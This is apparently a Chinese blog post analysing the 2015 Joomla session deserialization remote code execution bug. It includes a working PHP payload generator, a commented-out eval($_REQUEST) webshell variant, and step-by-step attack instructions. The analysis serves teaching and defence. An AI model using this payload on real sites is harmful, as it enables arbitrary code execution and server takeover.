Joomla远程代码执行漏洞利用分析

0x00 漏洞简介

  • 影响版本:from Joomla 1.5 up until 3.4.5
  • 漏洞类型:php 反序列化造成的对象注入
  • 漏洞触发:将session插入数据库中,发送同样的数据包来取出session,触发漏洞,执行任意代码

0x01 利用分析

在看完这两篇漏洞分析文章后,对里面分析利用进行了下总结。
乌云的分析: http://drops.wooyun.org/papers/11330
百度安全团队的分析: http://xteam.baidu.com/?p=379 细致看底层原理可以看看百度安全团队的分析。想了解攻击步骤,请看乌云的分析。
乌云上提到的生成payload代码只是一部分,我改了改,可以用以下代码生成第一步攻击payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
//$this->feed_url = "eval(\$_REQUEST[c][/c]);JFactory::getConfig();exit;";//eval fopen operation , can getshell;
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}

$a = new JDatabaseDriverMysqli();
$result = serialize($a);
//echo serialize($a) . "\n";
$result = str_replace( chr(0) . '*' . chr(0),'\0\0\0', $result);

echo "123}__test|" . $result . "\xF0\x9D\x8C\x86\n";
// combine utf-8 cut off and injection~

//\xF0\x9D\x8C\x86 这4字节字符即可截断数据,使其后面的数据不能存入数据库。
?>

3个部分需要说明:

  • 将序列化出来的chr(0)*chr(0)改为\0\0\0表示,这是因为Joomla在read函数读取序列化字符串时,源码有这样的一段:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    public function read($id)
    {
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();
    try
    {
    // Get the session data from the database table.
    $query = $db->getQuery(true)
    ->select($db->quoteName('data'))
    ->from($db->quoteName('#__session'))
    ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
    $db->setQuery($query);
    $result = (string) $db->loadResult();
    $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
    return $result;
    }
    catch (Exception $e)
    {
    return false;
    }
    }

其中$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);进行了转换处理。

  • 配合UTF-8数据库截断技术,\xF0\x9D\x8C\x86 这4字节字符即可截断数据,使其后面的数据不能存入数据库中,这样就可以安心的执行我们控制的对象,不受影响。

  • 字符串前面使用 | 注入技巧,使序列化字符串|前面部分全部当成了键名对待。

0x02 攻击步骤

1. 将session值插入数据库

使用burpsuite抓包,改User-Agent为生成的payload。 可以看到数据库中已经存储了我们的序列化值,并且截断成功。

2. 直接使用浏览器访问(相同cookie)

可以看到执行了phpinfo()代码:

0x03 参考

乌云文章分析: http://drops.wooyun.org/papers/11330
百度安全团队分析: http://xteam.baidu.com/?p=379

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2015/12/29/joomla-remote-code-execution-vulnerability-analysis/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog